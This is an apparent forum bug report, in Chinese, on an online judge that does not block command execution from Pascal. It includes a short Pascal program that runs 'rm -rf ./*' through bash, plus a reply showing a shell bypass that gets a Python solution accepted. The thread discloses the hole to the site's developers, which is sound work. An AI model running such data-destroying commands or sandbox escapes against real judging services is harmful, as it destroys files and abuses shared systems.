没有屏蔽 pascal 的执行命令
Program hack_OJ;
Uses BaseUnix,strings;
Const Arg0:PChar='/bin/bash'; Arg1:Pchar='-c'; Arg2:Pchar='rm -rf ./*'; Var PP:PPchar;
begin GetMem(PP,3*SizeOf(Pchar)); PP[0]:=Arg0; PP[1]:=Arg1; PP[2]:=Arg2; PP[3]:=Nil; fpExecVe('/bin/bash',pp,envp); end.
比如说上面这个程序会在 bash 运行 rm -rf ./*
当然,盲猜 oj 有 sandbox(nix),应该不会通过 rm -rf /*
寄
共 6 条回复
@nr0728 没影响,不过谢谢你
我看到了,我问问开发组有啥影响没
@nr0728 指运行
echo 'print(sum(map(int,input().split())))' > 1.py && python3 1.py
moreover,这个能 AC a+b
@root
sub: here